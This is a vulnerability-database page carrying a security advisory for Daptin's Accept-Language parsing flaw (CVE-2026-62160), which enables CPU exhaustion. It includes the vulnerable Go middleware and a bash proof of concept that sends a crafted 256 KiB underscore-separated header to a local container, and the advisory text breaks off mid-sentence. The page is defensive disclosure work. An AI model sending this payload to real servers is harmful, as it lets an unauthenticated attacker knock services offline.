high · 8.7 No patch yet

Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware

CVE-2026-62160 · GHSA-rhj7-vh3v-mcq6 · published 29 Oct 2026

How serious is it

  • Severity: high, CVSS score 8.7 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-62160?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • github.com/daptin/daptin (Go) <= 0.12.15

How to check

  1. Run go list -m github.com/daptin/daptin in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. No fixed version of github.com/daptin/daptin yet. Replace or remove it, or apply the workaround in the advisory below.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary Daptin's `LanguageMiddleware` (registered as a global gin middleware) calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds. ### Affected versions `github.com/daptin/daptin` v0.12.15 and (per code inspection of `master`) all earlier 0.12.x versions that wire `LanguageMiddleware` on the global gin router without imposing their own size limit on `Accept-Language`. Verified on: - the official release binary `daptin-linux-amd64` v0.12.15 built into a Docker image from the project's own `Dockerfile` (E2E below) - `master` at commit `b021ac4ae1f72b7401e851fcf883bc970303c794` by reading `server/language.go` (the middleware is unchanged) ### Privilege required Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated `/api` style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope. ### Vulnerable code [`server/language.go`](https://github.com/daptin/daptin/blob/b021ac4ae1f72b7401e851fcf883bc970303c794/server/language.go) (blob SHA `b021ac4ae1f72b7401e851fcf883bc970303c794`): ```go func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) { pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage) c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref)) } func GetLanguagePreference(header string, defaultLanguage string) []string { preferredLanguage := header if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" { preferredLanguage = defaultLanguage } languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage) resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage) pref := make([]string, 0) prefMap := make(map[string]bool) if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage { // single tag matches default — skip } else { for _, tag := range languageTags { base, conf := tag.Base() if conf == 0 { continue } if prefMap[base.String()] == true { continue } prefMap[base.String()] = true pref = append(pref, base.String()) } } return pref } ``` `c.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. The `resource.CheckErr` call on the error path also formats the entire input string into a log line (`Failed to parse Accept-Language header [%v]`), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads. CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 256 KiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. ### How `Accept-Language` reaches `ParseAcceptLanguage` Every HTTP request that hits the Daptin API server passes through `LanguageMiddleware` (registered as a global gin middleware). The middleware sequence is: 1. The request enters `LanguageMiddlewareFunc`. 2. `c.GetHeader("Accept-Language")` returns the full attacker-supplied header value. 3. `GetLanguagePreference(header, defaultLanguage)` is called. 4. The function passes the unfiltered header into `language.ParseAcceptLanguage(preferredLanguage)`. No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at `/` and the public API root at `/api`. ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile: ```bash # Build daptin image (uses prebuilt linux/amd64 release binary) cd daptin curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64 chmod +x daptin-linux-amd64 docker build --platform linux/amd64 -t daptin-poc:v0.12.15 . # Start it docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15 sleep 8 # wait for sqlite migrations + Olric ring # Attack with a 256 KiB header (smaller than the default 1 MiB ceiling # because daptin's per-request cost saturates well below 1 MiB) PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:18888/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobb…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database. Last updated 30 Oct 2026. All vulnerabilities · RSS · JSON